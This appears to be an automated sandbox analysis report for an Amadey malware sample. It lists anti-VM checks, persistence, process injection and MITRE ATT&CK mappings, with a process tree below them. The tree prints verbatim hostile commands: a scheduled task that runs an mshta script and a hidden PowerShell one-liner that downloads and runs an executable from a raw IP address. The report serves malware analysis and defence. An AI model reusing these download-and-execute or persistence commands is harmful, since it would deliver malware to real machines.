amadey | 35fbdd95d2951a99c5420f110a434bebb19ee51ddd040c28c45f9cb71d5ca9b9

Virtualization/Sandbox Evasion

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	skotes.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	9135b50119.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	skotes.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	TempVRFEU4219WZBSWIKXQDBYABW2GZK6NVT.EXE
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	skotes.exe

Blocklisted process makes network request 1 IoCs

flow	pid	Process
6	1768	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
1768	powershell.exe

Downloads MZ/PE file 4 IoCs

flow	pid	Process
42	3016	skotes.exe
48	5060	Process not Found
6	1768	powershell.exe
20	3016	skotes.exe

Checks BIOS information in registry 2 TTPs 10 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	TempVRFEU4219WZBSWIKXQDBYABW2GZK6NVT.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	skotes.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	skotes.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	9135b50119.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	skotes.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	TempVRFEU4219WZBSWIKXQDBYABW2GZK6NVT.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	skotes.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	skotes.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	9135b50119.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	skotes.exe

Checks computer location settings 2 TTPs 3 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1639772215-809007892-4072230623-1000\Control Panel\International\Geo\Nation	mshta.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1639772215-809007892-4072230623-1000\Control Panel\International\Geo\Nation	TempVRFEU4219WZBSWIKXQDBYABW2GZK6NVT.EXE
Key value queried	\REGISTRY\USER\S-1-5-21-1639772215-809007892-4072230623-1000\Control Panel\International\Geo\Nation	skotes.exe

Executes dropped EXE 5 IoCs

pid	Process
2360	TempVRFEU4219WZBSWIKXQDBYABW2GZK6NVT.EXE
3016	skotes.exe
2264	skotes.exe
4548	9135b50119.exe
1960	skotes.exe

Identifies Wine through registry keys 2 TTPs 5 IoCs

Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.

defense_evasion

Query Registry

Virtualization/Sandbox Evasion

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-1639772215-809007892-4072230623-1000\Software\Wine	TempVRFEU4219WZBSWIKXQDBYABW2GZK6NVT.EXE
Key opened	\REGISTRY\USER\S-1-5-21-1639772215-809007892-4072230623-1000\Software\Wine	skotes.exe
Key opened	\REGISTRY\USER\S-1-5-21-1639772215-809007892-4072230623-1000\Software\Wine	skotes.exe
Key opened	\REGISTRY\USER\S-1-5-21-1639772215-809007892-4072230623-1000\Software\Wine	9135b50119.exe
Key opened	\REGISTRY\USER\S-1-5-21-1639772215-809007892-4072230623-1000\Software\Wine	skotes.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1639772215-809007892-4072230623-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\9135b50119.exe = "C:\\Users\\Admin\\AppData\\Local\\Temp\\1072292001\\9135b50119.exe"	skotes.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Suspicious use of NtSetInformationThreadHideFromDebugger 5 IoCs

pid	Process
2360	TempVRFEU4219WZBSWIKXQDBYABW2GZK6NVT.EXE
3016	skotes.exe
2264	skotes.exe
4548	9135b50119.exe
1960	skotes.exe

Drops file in Windows directory 1 IoCs

description	ioc	Process
File created	C:\Windows\Tasks\skotes.job	TempVRFEU4219WZBSWIKXQDBYABW2GZK6NVT.EXE

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 9 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	skotes.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	9135b50119.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	TempVRFEU4219WZBSWIKXQDBYABW2GZK6NVT.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MicrosoftEdgeUpdate.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	26LC9_random.exe

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 1 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
2332	MicrosoftEdgeUpdate.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	9135b50119.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	9135b50119.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

pid	Process
1912	schtasks.exe

Suspicious behavior: EnumeratesProcesses 14 IoCs

pid	Process
1768	powershell.exe
1768	powershell.exe
2360	TempVRFEU4219WZBSWIKXQDBYABW2GZK6NVT.EXE
2360	TempVRFEU4219WZBSWIKXQDBYABW2GZK6NVT.EXE
3016	skotes.exe
3016	skotes.exe
2264	skotes.exe
2264	skotes.exe
4548	9135b50119.exe
4548	9135b50119.exe
4548	9135b50119.exe
4548	9135b50119.exe
1960	skotes.exe
1960	skotes.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1768	powershell.exe

Suspicious use of FindShellTrayWindow 3 IoCs

pid	Process
2064	26LC9_random.exe
2064	26LC9_random.exe
2064	26LC9_random.exe

Suspicious use of SendNotifyMessage 3 IoCs

pid	Process
2064	26LC9_random.exe
2064	26LC9_random.exe
2064	26LC9_random.exe

Suspicious use of WriteProcessMemory 21 IoCs

description	pid	Process	procid_target
PID 2064 wrote to memory of 1328	2064	26LC9_random.exe	86
PID 2064 wrote to memory of 1328	2064	26LC9_random.exe	86
PID 2064 wrote to memory of 1328	2064	26LC9_random.exe	86
PID 2064 wrote to memory of 5016	2064	26LC9_random.exe	87
PID 2064 wrote to memory of 5016	2064	26LC9_random.exe	87
PID 2064 wrote to memory of 5016	2064	26LC9_random.exe	87
PID 1328 wrote to memory of 1912	1328	cmd.exe	89
PID 1328 wrote to memory of 1912	1328	cmd.exe	89
PID 1328 wrote to memory of 1912	1328	cmd.exe	89
PID 5016 wrote to memory of 1768	5016	mshta.exe	90
PID 5016 wrote to memory of 1768	5016	mshta.exe	90
PID 5016 wrote to memory of 1768	5016	mshta.exe	90
PID 1768 wrote to memory of 2360	1768	powershell.exe	95
PID 1768 wrote to memory of 2360	1768	powershell.exe	95
PID 1768 wrote to memory of 2360	1768	powershell.exe	95
PID 2360 wrote to memory of 3016	2360	TempVRFEU4219WZBSWIKXQDBYABW2GZK6NVT.EXE	96
PID 2360 wrote to memory of 3016	2360	TempVRFEU4219WZBSWIKXQDBYABW2GZK6NVT.EXE	96
PID 2360 wrote to memory of 3016	2360	TempVRFEU4219WZBSWIKXQDBYABW2GZK6NVT.EXE	96
PID 3016 wrote to memory of 4548	3016	skotes.exe	104
PID 3016 wrote to memory of 4548	3016	skotes.exe	104
PID 3016 wrote to memory of 4548	3016	skotes.exe	104

C:\Users\Admin\AppData\Local\Temp\26LC9_random.exe
"C:\Users\Admin\AppData\Local\Temp\26LC9_random.exe"
1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:2064
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c schtasks /create /tn UpHVDman2wS /tr "mshta C:\Users\Admin\AppData\Local\Temp\aLYDQyXt4.hta" /sc minute /mo 25 /ru "Admin" /f
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:1328
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn UpHVDman2wS /tr "mshta C:\Users\Admin\AppData\Local\Temp\aLYDQyXt4.hta" /sc minute /mo 25 /ru "Admin" /f
    3⤵
    - System Location Discovery: System Language Discovery
    - Scheduled Task/Job: Scheduled Task
    PID:1912
- C:\Windows\SysWOW64\mshta.exe
  mshta C:\Users\Admin\AppData\Local\Temp\aLYDQyXt4.hta
  2⤵
  - Checks computer location settings
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:5016
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'VRFEU4219WZBSWIKXQDBYABW2GZK6NVT.EXE';(New-Object System.Net.WebClient).DownloadFile('http://185.215.113.16/mine/random.exe',$d);Start-Process $d;
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Downloads MZ/PE file
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:1768
  - - C:\Users\Admin\AppData\Local\TempVRFEU4219WZBSWIKXQDBYABW2GZK6NVT.EXE
      "C:\Users\Admin\AppData\Local\TempVRFEU4219WZBSWIKXQDBYABW2GZK6NVT.EXE"
      4⤵
      Identifies VirtualBox via ACPI registry values (likely anti-VM)
      Checks BIOS information in registry
      Checks computer location settings
      Executes dropped EXE
      Identifies Wine through registry keys
      Suspicious use of NtSetInformationThreadHideFromDebugger
      Drops file in Windows directory
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of WriteProcessMemory
      PID:2360
    - - C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe
        
        "C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe"
        5⤵
        Identifies VirtualBox via ACPI registry values (likely anti-VM)
        Downloads MZ/PE file
        Checks BIOS information in registry
        Checks computer location settings
        Executes dropped EXE
        Identifies Wine through registry keys
        Adds Run key to start application
        Suspicious use of NtSetInformationThreadHideFromDebugger
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of WriteProcessMemory
        
        PID:3016
      - C:\Users\Admin\AppData\Local\Temp\1072292001\9135b50119.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1072292001\9135b50119.exe"
        6⤵
        Identifies VirtualBox via ACPI registry values (likely anti-VM)
        Checks BIOS information in registry
        Executes dropped EXE
        Identifies Wine through registry keys
        Suspicious use of NtSetInformationThreadHideFromDebugger
        System Location Discovery: System Language Discovery
        Checks processor information in registry
        Suspicious behavior: EnumeratesProcesses
        
        PID:4548

C:\Program Files (x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe
"C:\Program Files (x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe" /ping PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiPz48cmVxdWVzdCBwcm90b2NvbD0iMy4wIiB1cGRhdGVyPSJPbWFoYSIgdXBkYXRlcnZlcnNpb249IjEuMy4xOTUuNDMiIHNoZWxsX3ZlcnNpb249IjEuMy4xOTUuNDMiIGlzbWFjaGluZT0iMSIgc2Vzc2lvbmlkPSJ7OTM0NjlERkEtMUZFQy00RjAxLTkwMjctQ0U5OTJENjA0NUY3fSIgdXNlcmlkPSJ7MUE3OUU5NTktRjNDNS00MjIwLTk4QzItQUM1MzRGREMxQzlFfSIgaW5zdGFsbHNvdXJjZT0ibGltaXRlZCIgcmVxdWVzdGlkPSJ7NTEzNDNFRDMtOTdGRC00RTlDLTg4NjItOENDQzUzMUQ4NjQxfSIgZGVkdXA9ImNyIiBkb21haW5qb2luZWQ9IjAiPjxodyBsb2dpY2FsX2NwdXM9IjIiIHBoeXNtZW1vcnk9IjQiIGRpc2tfdHlwZT0iMiIgc3NlPSIxIiBzc2UyPSIxIiBzc2UzPSIxIiBzc3NlMz0iMSIgc3NlNDE9IjEiIHNzZTQyPSIxIiBhdng9IjEiLz48b3MgcGxhdGZvcm09IndpbiIgdmVyc2lvbj0iMTAuMC4xOTA0MS4xMjg4IiBzcD0iIiBhcmNoPSJ4NjQiIHByb2R1Y3RfdHlwZT0iNDgiIGlzX3dpcD0iMCIgaXNfaW5fbG9ja2Rvd25fbW9kZT0iMCIvPjxvZW0gcHJvZHVjdF9tYW51ZmFjdHVyZXI9IiIgcHJvZHVjdF9uYW1lPSIiLz48ZXhwIGV0YWc9IiZxdW90O0UreGJBejZZNnNVMTI4OWJTNnFsNFZSTGJramZCVUdUTUpzanJIcjQ0aUk9JnF1b3Q7Ii8-PGFwcCBhcHBpZD0iezhBNjlEMzQ1LUQ1NjQtNDYzYy1BRkYxLUE2OUQ5RTUzMEY5Nn0iIHZlcnNpb249IjEyMy4wLjYzMTIuMTIzIiBuZXh0dmVyc2lvbj0iIiBsYW5nPSJlbiIgYnJhbmQ9IkdHTFMiIGNsaWVudD0iIiBpbnN0YWxsYWdlPSIxIiBpbnN0YWxsZGF0ZXRpbWU9IjE3Mzg5NDY4ODkiIG9vYmVfaW5zdGFsbF90aW1lPSIxMzM4MzQxOTM2NTgwOTAwMDAiPjxldmVudCBldmVudHR5cGU9IjMxIiBldmVudHJlc3VsdD0iMSIgZXJyb3Jjb2RlPSIwIiBleHRyYWNvZGUxPSIyMTc5ODYyIiBzeXN0ZW1fdXB0aW1lX3RpY2tzPSI1NDMwMzcxNDI0Ii8-PC9hcHA-PC9yZXF1ZXN0Pg
1⤵
- System Location Discovery: System Language Discovery
- System Network Configuration Discovery: Internet Connection Discovery
PID:2332

C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe
C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe
1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
PID:2264

C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe
C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe
1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
PID:1960

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

Defense Evasion

Modify Registry

T1112

Virtualization/Sandbox Evasion

Credential Access

Discovery

Query Registry

System Information Discovery

System Location Discovery

T1614

System Language Discovery

T1614.001

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Virtualization/Sandbox Evasion